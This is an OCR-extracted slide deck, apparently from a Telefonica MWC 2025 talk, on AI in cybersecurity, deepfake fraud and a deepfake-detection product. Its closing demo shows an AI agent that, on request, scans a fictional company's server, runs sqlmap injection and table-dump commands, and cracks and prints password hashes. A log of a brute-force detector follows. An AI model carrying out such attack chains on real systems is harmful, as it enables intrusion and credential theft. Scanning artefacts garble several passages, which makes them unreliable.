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IS Al a menace or a tool
for Cyber Security?

Quite sure you know the answer... it depends.
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MWC 2025

Al and Cyber Security: double Edge sword

Among the advantages:

 More effective and faster forecasting of possible cyber-attacks or security
breaches.

* Helps to more efficiently investigate the most appropriate method for each
circumstance.

* By using deep learning, more secure solutions are available.

 Makes recommendations on good security habits in the business environment.

* |t permanently verifies all security protocols.

As for its drawbacks:

 Cyber-attacks designed with Al. Lack of legal regulation.

» Ease of identity theft. Deepfakes or avalanches of fake news that can bring
down corporate prestige.

* |tis under development and is not completely reliable.

000 o
-+ Telefonica 3



MWC 2025

Al and Cyber Security:. Market

Advancing Threat Detection in 2025: Al,
Automation, and the Future of Cybersecurity

Israeli Al cybersecurity
startup valued at $1.1 billion
after major funding round

Founded by Shalev Hulio, former CEO of spyware firm NSO, and ex-
Austria chancellor Sebastian Kurz, Dream Security looks to protect
critical national infrastructure from attacks

Elfr' SHARON WROBEL »~~ [ :l:l_lelW] o ® e 6 o GlobeNewswire - GlobeNewswire Inc.
17 February 2025, 9:07 pm

SANS Institute
Thu, February 20, 2025 at 7:39 PM GMT+1 « 3 min read

ft > OUTREACH AND INITIATIVES > ENTREPRENEURS

, Al Cybersecurity Firm Raises $100 Million to Strengthen

safer —

Matt Gonzales

Published February 18, 2025

Feb 13, 2025 Announcing the 2025 Google for Startups Growth Academy: Al for Cybersecurity cohort.

2 min read

'w Sandra Joyce < Share
VP, Google Threat Intelligence
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Al and Cyber Security: and the companies?

Al adoption for cybersecurity

The survey reveals that Al is already widely embedded in the cybersecurity infrastructure of most organizations,

Deep Learning Al Generative Al

with 98% saying they use it in some capacity:

Uses artificial neural networks to recognize patterns and Uses the structure and pattern of existing data to CREATE
make decisions in a way that mimics the human brain. It (generate) brand new content.

APPLIES learnings to perform tasks. Al adoption is likely to become near universal within a short time frame, with Al capabilities now on the

requirements list of 99% (with rounding) of organizations when selecting a cybersecurity platform:
Type Example: Detect malicious URLs Example: Threat case summary

Al model is trained to identify malicious Al model creates a summary of the threat
websites, enabling security products to activity and vices analysts recommended With this level of adoption and future usage, understanding the risks and associated mitigations for Al in

block access to them next steps o L L . .
cybersecurity is a priority for organizations of all sizes and business focus.

........................................................................................................................................................................................................................

Massive Al Models Small Al Models

Multi-purpose tools that are trained on vast quantities Outcome-focused models are designed, trained and

of publicly available data and can assist with a brand built for specific use cases

; range of tasks. 73% 65% 34%
Size

Example: Microsoft Copllot, Google Gemini Example: Android malware detection model use cybersecurity use cybersecurity sa Carvl in-house
solutions that include solutions that include to elevate their
deep leaming models GenAl capabilities Cybersecurity

Does your organization currently use Al technologies as part of your cyber defenses? (n=400)
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Al and Cyber Security: and the companies?

Top desired benetfit from GenAl in cybersecurity tools

Improved protection from cyberthreats - 20%

Improved return on cybersecurity spend (ROI) - 20%

Increased IT analyst efficiency and impact - 17%

Confidence we are keeping up with cybersecurity innovations - 15%

Greater peace of mind that we are well-defended from attacks - 14%

Reduced employee burnout 14%

SOPHOS
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Al and Cyber Security: are the bad guys using it? How?

2|8 AEVERSINGLABS SOLUTIONS ~ PRODUCT & TECHNOLOGY -

RL Blog

Threat Research | February 6, 2025

Malicious ML models discovered on

Hugging Face platform . . .
o ggk 5 . P I h HP Welf.Security Uncovers Evidence of
oftware development teams working on machine learning take note: RL threat researchers .
. . X Attackers Using AlteGenerate Malware

identified nullifAl, a novel attack technique used on Hugging Face.

E LOG Latest report points to Al use in creating malware scripts, threat actors relyingon
¥ Karlo Zanki, Reverse Engineer at ReversinglLabs. rean 1or malvertising to spread rogue PDF tools, and malware embedded inimage files

September 24, 2024

News Highlights:
e HP threat researchers identified a campaign targeting French-speakers using malware believed to have been written with
the help of GenAl

* The malware's structure, comments explaining each line of code, and native language function names and variables all
indicate the threat actor used GenAl to create the malware

* The activity shows how GenAl is accelerating attacks and lowering the bar for cybercriminals to infect endpoints

e HP also found ChromelLoader campaigns are getting bigger and more polished, using malvertising to direct victims to well-
designed websites offering fake tools like PDF converters
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Al and Cyber Security: are the bad guys using it? How?

Debunking the Al Hype: Inside Real Hacker Tactics

E2 Feb 18,2025 & The Hacker News Artificial Intelligence / Cyber Defense

93% of Malware Uses at Least One Top 10 MITRE ATT&CK Technique

Despite the expansive MITRE ATT&CK® framework, most adversaries stick to a core set of TTPs.
Among the Top 10 ATT&CK technigues provided in the Red Report, the following exfiltration and stealth

o technigues remain the most used:

&/
‘%‘Y Yt )
'; - % =
3 =% 030 e MF

« T1055 (Process Injection) allows attackers to inject malicious code into trusted system

processes, making detection more challenging.

* T1059 (Command and Scripting Interpreter) lets adversaries run harmful commands or scripts

from within legitimate interpreters on target machines.

Is Al really reshaping the cyber threat landscape, or is the constant drumbeat of hype drowning out

actual, more tangible, real-world dangers? According to Picus Labs' Red Report 2025 which analyzed * T1071 [Applltﬂtlﬂn LEI‘_I,"ET F'rutcrcc:ls} gives attackers WhlS[}EF channels” for command-and-

over one million malware samples, there's been no significant surge, so far, in Al-driven attacks. Yes, control and data exfiltration, hidden in common protocols like HTTPS or DNS-over-HT TPS.

adversaries are definitely continuing to innovate, and while Al will certainly start playing a larger and
larger role, the latest data suggests that a set of well-known tactics, techniques, and procedures

(TTPs) are still dominating the field. The combined effect? Legitimate-seeming processes use legitimate tools to collect and transmit data

over widely used network channels. Not surprisingly, these technigues can be difficult to detect
through signature-based methods alone. However, using behavioral analysis, particularly when multiple
techniques are used to monitor and correlate data together, makes it far easier to spot anomalies.
Security teams need to focus on looking for malicious activity that appears virtually indistinguishable

from normal network traffic.
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Al and Cyber Security: are the good guys using it? How?

Ahmed Sallam - 2¢ + Segquir
Founder: DeepSAFE Technology® - Bunny Gurus® - Amimal Bo...
2 semanas - Editado -

|'ve spent over three decades reverse engineering Microsoft operating systems,
starting in 1989 with DOS5 3.11 binanes. Over the years, | reverse-engineered every
single edition and vanation of Windows—16-bit, 32-bit, and 64-bit—while also

B L E E F.'l I N G c 0 M P UT E R Saarch Site writing kernel device drivers for each release and even lower level below-05 code.
The time and effort |'ve dedicated to this work have been immense.

But everything 1s changing now.

VIRUS REMOVAL GUIDES -

With ChatGPT and GitHub, reverse engineering and low level programming have
been transformed. ChatGPT can convert assembly code directly into C in seconds,
providing insights into undocumented functions with remarkable accuracy.
Meanwhile, GitHub has become a treasure trove of source code, offering solutions
that once took weeks or months to uncover.

Home > MNews » Security > VirusTotal now has an Al-powered malware analysis feature
The results? 25x faster execution and 10x more knowledge gained compared to old

approaches.

VimSTﬂtﬂl NnNow hﬂﬂ a1l M-PﬂWEI'Ed mﬂlw,ﬂl'E ﬂﬂﬂlyﬂiﬂ fEﬂtuI'E This 1s not just a game changer—it's an acceleration of innovation.

For someone like me, now in my mid-fifties, | had been wresthing with the thought
i that my time for deep technical work was running out. After spending so many years
B}'r Eerglu Gatlan April 24, 2023 03:26 FM 3 in reverse engineering, | felt the need to shift my focus to something more
meaningful. However, with the speed and depth that ChatGPT and GitHub enable,
reverse engineering has become a fun, high-impact task rather than an exhausting
challenge.

And sometimes, you stumble upon unexpected discoveries.

50 while reverse-engineering Windows code using ChatGPT and searching GitHub, |
found onginal Windows source code written by Mark Lucovsky from 1989-1991.
Seeing the evolution of such kernel functions over the years and comparing modern
disassembled C code (generated by ChatGPT) with the onginal implementations was
fascinating. It's almost like having direct access to the Windows source code —
without limitations.
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Al and Cyber Security: deepfakes

= Chworld Africa Americas  Asia  Austrilia Cnina Europe  India  More &) Watch

Th e ) Eur -

wWorld J Aza

Opini Sport Cultur Lif 1
Finance worker pays out $25 million after video | SR e . uese @ (FuArdian
call with deepfake ‘chlef financlal officer’ Joe Biden

Democrats sound alarm over Al robocall
to voters mimicking Biden

e 2231 AM EST !

Fake robocall beginning ‘What a bunch of malarkey’
encourages Democrats to not vote in New Hampshire

primary
Martin Pengelly in
Washington and Rachel
Leingang
Mon 22 Jan 2024 2112 CET
« Share
‘ .
VERRSANTY
Authontics anc iIncreasingly concemed at the damaging potential posod by artficQl ntelgonce O Joe Biden in Raleigh, North Carolina, on 18 January. Photograph: Nathan Howard/Reuters

sochnology. boonchal ¢
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Al Deepfakes:
Threats and Solutions
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Deepfakes and scams are increasing

There has been a 4x Increase In
the number of deepfakes detected

worldwide from 2023 to 2024,
accounting for 7% of all fraud attempts.

Sumsub
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Deepfakes and scams are increasing

North America experienced a 1,740%
Increase In detected deepfakes,
with Asia Pacific and Europe showing
1,530% and 780% growth, respectively.

Sumsub
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Deepfakes and scams are increasing

The number of aeepfake videos
Increased by 550% between 2019 and
2023, reaching a total of 95,000 videos.

Home Security Hero
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Easy access and increasing number of Al tools to generate deepfakes

The average time for creating a deepfake photo or
video Is approximately 27 seconds.

The development of Al deepfake tools continued
to rise, surging by 44% in 2023 and growing by
28% I1n 2024,

Humanize Al

000 o
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Easy access and increasing number of Al tools to generate deepfakes

A voice can be cloned with 10 seconds of audio.
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Al deepfakes will generating important losses

Generative Al is expected to rapidly increase fraud losses in the years ahead

Gen Al could enable fraud o e i AN
losses to reach US$40 m -

pillion In the United States
by 2027, from US$12.3
pillion In 2023, a compound
annual growth rate of 32%.

. | . . . 0
Deloitte’s Center for Financial Services WA A A m  anm wwA  JoA e o e o .
Sources: The FBI's Internet Crime Complaint Center; Deloitte Center for Financial Services.
ﬂE_lﬂittEh, /
Insights
000
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Some Al deepfakes scam examples

Using Influential
people deepfakes for
Investment frauds

000 o
- Telefonica

@®CBS NEWS

Deepfakes of Elon Musk are contributing
to billions of dollars in fraud losses in the
U.S.

Lexi Salazar, Mike Lozano, Scott Fralicks f X

SCBSNEWS By Brian New,
TEXAS  Updsted on: November 24, 2024 / 228 PM CST/ CBS Texas

19
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Some Al deepfakes scam examples

Insurance frauds T ———

Viewpoint: Deepfake Fraud Is On the Rise.
Here’s How Insurers Can Respond

------

&SPRINT

Deepfake fraud among new
insurance risks

Global law firm Kennedys has highlighted potential benefits and risk to the

insurance market from the use of artificial intelligence (Al).

- Telefonica 20
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Some Al deepfakes scam examples

CYBERSCOOP  Topics &+ Special Reports Events Podcasts Videos Insights

Face Swapping

THREATS

R o o L s s o o i S e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e

The security awareness training company said in a blog post that the software engineer used
stolen U.S. credentials and an Al-enhanced photo.

BY MATT BRACKEN « JULY 24,2024

o ..
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Some Al deepfakes scam examples

Al-Powered
Romance scams
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e Telefonica

How South-East Asia's pig butchering scammers are using
artificial intelligence technology

By Will Jackson

Corporate Crimes

Wed 15 May

T Ti—tetetete]

—=—=gaajnjufifi)

\ -
- S 5
- P -
:

South-East Asia's scam operations are making use of increasingly sophisticated Al tools. (ABC News. Cordelia Brown)

22
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Some Al deepfakes scam examples

- cm@NEWS 24/7Live | SanFrancisco EastBay SouthBay Peninsula  North Bay

Voice Cloning

Kidnapping scam uses artificial intelligence to clone
SCAams teen girl's voice, mother issues warning

By Erielle Reshef QNEWS 0 X C

Business / Tech
Thursday, April 13, 2023

This bank says ‘millions’ of people could be
targeted by Al voice-cloning scams

By Anna Cooban, CNN

e Cm Business Markets Tech Media Calculators Videos ® Watch

@& 2 minute read - Published 7:24 AM EDT, Wed September 18, 2024

i X =®

Experts caution anyone with the right software can clone voices in just a matter of seconds
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A solution for Al deepfake detection

@ VerifAl

TU VerifAl Is our solution for detecting
content generated or modified by Al,
nelping companies and users protect
themselves against the dangers of Al
deepfakes.

- Telefonica o5



Tu Verifal: to protect companies and users

A comprehensive solution to detect content @
Q generated or manipulated by Al in images,
videos and audios simply and quickly.

VerifAl Latch Metashield Web3 Betas Empresas i) ES Vv

& Iniciar sesion o Registrarse

Using the most advanced models on the market, it @ VerifAl

{:} provides an accurate and efficient tool to help Detecta contenido manipulado con
identify Al deepfakes.. inteligencia artificial

Verifica si un audio, video o imagen es real o es |A

Result to be obtained combining various engines with
d L specialized technology to offer a more precise and
re I ia b I e d iag nOSiS. Al subir un archivo aceptas las Condiciones Generales, Condiciones Particulares y Politica

de Privacidad

@ Ver specs de video, audio o imagen

A flexible and adaptable solution that our customers
can use through our website or integrated with
their systems through our API.

https://Iwww.tu.com/verifal
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Wrapping up:

Al risks deserves constant monitorization, better
managed services, Digital Operation Centers, etc.

How do we face this?
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One of our approaches

SMETAXPLOIT, |
METAEXPLOIT 0 METASPLOIT?

— - - -
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Chats

Welcome! How can | assist you with cybersecurity tools
today?

[start 55.34

Look for actives of Umbrella Corp on Internet .-,

| found an active server associated with Umbrella Corp
located at IP 190.51.139.41. It hosts a login form and is using a
self-signed SSL certificate. The server runs on port 443 and
is identified as 'micro_httpd".

The TCP scan revealed that the server has three open ports:
22 (SSH), 443 (HTTP), and 5900 (VNC). The HTTP service is
running Apache and the title indicates a login form.

| found a database named 'umbrella_corp' containing a 'users'
table with entries for users including their names, MD5
password hashes, usernames, privileges, phone numbers,
and emails. Notably, the admin's email is

admin@umbrella_corp.com.

The 'users' table from the 'umbrella_corp' database has been
successfully dumped. It contains the following entries: 1)

Admin with email admin@umbrella_corp.com, 2) CEO with
email ceo@umbrella_corp.com, 3) Developer 1 with email
devi@umbrella corp.com, and 4) Developer 2 with email
devZ@umbrella corp.com. The data has been saved in a CSV
file.

The cracked passwords are: admin: easy, ceo: mypasss, dev1:
thebestdev, dev2: bob1988.

Perform a tcp scan on that server ;. ;-

Look for sql injections on 443 .-

dump the database table "users" ;. .-

Crack the hashes ;. ;-

L

& https://corporation.corp MY & 30O G

CORPORATION®

CONSULTING SERVICES

Welcome ADMIN
Grants: All privileges

TXT: Welcome! How can I assist you with cybersecurity tools today?

cyberia DEBUG Message 1s: Look for actives of Umbrella Corp on Internet

cyberia DEBUG Executing Shodan with params Umbrella Corp

TXT: I found an active server associated with Umbrella Corp located at IP 198.51.139.41. It hosts a login form and is using a self-signed SSL ce
rtificate. The server runs on port 443 and is identified as 'micro_httpd'.

cyberia DEBUG Message is: Perform a tcp scan on that server

cyberia DEBUG nmap params: nmap -sT 198.51.139.41

TXT: The TCP scan revealed that the server has three open ports: 22 (SSH), 443 (HTTP), and 5988 (VNC). The HTTP service is running Apache and th
e title indicates a login form.

cyberia DEBUG Message 1s: Look for sql injections on 443

cyberia DEBUG sqlmap params: --url=https://190.51.139.41 --data='username=admin&password=admin' --risk=3 --level=5 --batch

TXT: I found a database named 'umbrella_corp' containing a 'users' table with entries for users including their names, MD5 password hashes, user
names, privileges, phone numbers, and emails. Notably, the admin's email is admin@umbrella_corp.com.

cyberia DEBUG Message 1s: dump the database table "users"

cyberia DEBUG sqlmap params: sqlmap -u 'https://190.51.139.41/' --data='username=admin&password=123"' --dump -T users

TXT: The 'users' table from the 'umbrella_corp' database has been successfully dumped. It contains the following entries: 1) Admin with email ad
min@umbrella_corp.com, 2) CEQ with email ceo@umbrella_corp.com, 3) Developer 1 with email devi@umbrella_corp.com, and 4) Developer 2 with email
dev2@umbrella_corp.com. The data has been saved in a CSV file.

cyberia DEBUG Message is: Crack the hashes

cyberia DEBUG john params: hashes.txt

TXT: The cracked passwords are: admin: easy, ceo: mypasss, devl: thebestdev, dev2: bob1988.

cyberia on ¥ main [x!?7] via & v3.18.16 (cyberia)
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1: 0:4:ssh - "david@vm-redblue-srv: ~* X &

— [ #8 redteam bot ]

ername: dev2, password hash: dbcacdb4399671775d686b6533dd2481, email: dev2@the_corporation.com.
cyberia DEBUG Message is: crack the hashes and tell me the passwords
cyberia DEBUG john params: hashes.txt
TXT: The cracked passwords are: admin: easy, ceo: mypasss, devl:
cyberia DEBUG Message is: repeat sqi injection attack
cyberia DEBUG sqlmap params: sqlme

a Red

thebestdev, dev2: bob1988.

TXT: The SQL injection attack sucq
es for the accounts: admin, ceo, ¢
cyberia DEBUG Message is: look for
cyberia DEBUG nmap params: nmap -
IXT: The scan revealed that the cc
ich could be a potential target f¢
*Cjalvarez@vm-redblue-srv:~$ pythd
cyberia DEBUG Authorized users: m
cyberia DEBUG Loading module tools
cyberia DEBUG Loaded shodan_searc
cyberia DEBUG Loaded shodan to fi
cyberia DEBUG Loading module tool
cyberia DEBUG Loaded johntheripper
cyberia DEBUG Loading module toolg
cyberia DEBUG Loaded web form snay
cyberia DEBUG Loaded nmap plugin
cyberia DEBUG Loading module tools
cyberia DEBUG Loading module toolg
cyberia DEBUG Loaded sqlmap plugir
cyberia DEBUG Loaded sqlmap to fi
“Bcyberia DEBUG Message is: /star
TXT: Welcome! I'm here to assist

N
U

— [ #1 log sql detector ]
of common passwords further suppc
[2825-82-25 11:27:34,993] [DEBUG]
e using different passwords, indi(
this suspicion. This behavior is
[20825-82-25 11:31:38,232] [DEBUG]
a brute force attack. The same IP
tack tools.
[20625-82-25 11:31:57,536] [DEBUG]
username but different passwords.
and pattern of requests indicate
[2625-82-25 11:32:22,768] [DEBUG)
e IP address within a short time {
zed access by guessing passwords.
[2825-82-25 11:32:39,757] [DEBUG]
fferent passwords, indicating a b
is consistent with automated attag
[20825-82-25 11:37:16,939] [DEBUG]
ferent passwords in a short time f
s indicate an automated process.
[2825-82-25 11:38:12,519] [DEBUG] bot.py::redis_consumer -> Got: There are multiple login attempts with the same username and varying passwo
rds within a short period. This pattern is indicative of a brute force attack. The use of common passwords further supports this suspicion.
[2825-82-25 19:13:14,985] [DEBUG] bot.py::redis_consumer —> Got: There are numerous repeated login attempts for the same username with diffe
rent passwords, indicating a brute force attack. The same IP address is making these requests in quick succession, which is typical behavior
for such attacks. The use of weak passwords furthersupports the suspicion of malicious intent.

/Istart

st you with cybersecunty tools.
spe “h information or task

Welcome! I'm here to as:
Please let me know vm
need help with.

you

€ 1I'EyUEIICY dilu SALidi ALy Ul LiE dulempl

| U} I\T

nostromo 1

|

[ #2 fastapi ]

INFO  28.67.52.194:57972 - "GET / HTTP/1.1" 481
INFO 20.67.52.194:57974 - "GET /favicon.ico HTTP/1.1" 404
INFO 28.67.52.194:57982 - "GET / HTTP/1.1" 481
INFO 20.67.52.194:45186 - "GET / HTTP/1.1" 481
INFO 208.67.52.194:45116 - "GET /favicon.ico HTTP/1.1" 404

JDRINDI4Yzg10TM3NzhkODk1MmNkInG.R

ODRINDI4Yzg10TM3NzhkODk 1MmNkIng.R

B !

r
-

II' ?ﬁ <) EE’ ) @

CORPORATION®

CONSULTING SERVICES

/app.log
ogin/logs/app.log

BBl & ¢

‘chivo: detector/logs/Tue_25_Feb_2

(e ;f-’f ultiple login attempts with the
N attack. The use of common passwo

gs/app.log N
login/logs/app.log M
app.log (:).

app.log ;
LEULD™0L—CY 174195 19,100 LUCDUU) SULLUELECLUI.PY .. UN_diy_event —= Crosda OoNT T ogin/logs/app.log

[2025-82-25 19:13:14,984] [INFO] sqlidetector.py::purify_strings = Text has to be purlfled

[2825-82-25 19:13:14,995] [INFO] sqlidetector.py::send_events_to_ai —> Amenaza detectada. Revisa el archivo: detector/logs/Tue_25_Feb_2
825_19_13_14. json
[2025-82-25 19:13:14,985] [INFO] sqlidetector.py::send_events_to_ai — Justificacién breve: There are numerous repeated login attempts
for the same username with different passwords, indicating a brute force attack. The same IP address is making these requests in quick

succession, which is typical behavior for such attacks. The use of weak passwords further supports the suspicion of malicious intent.
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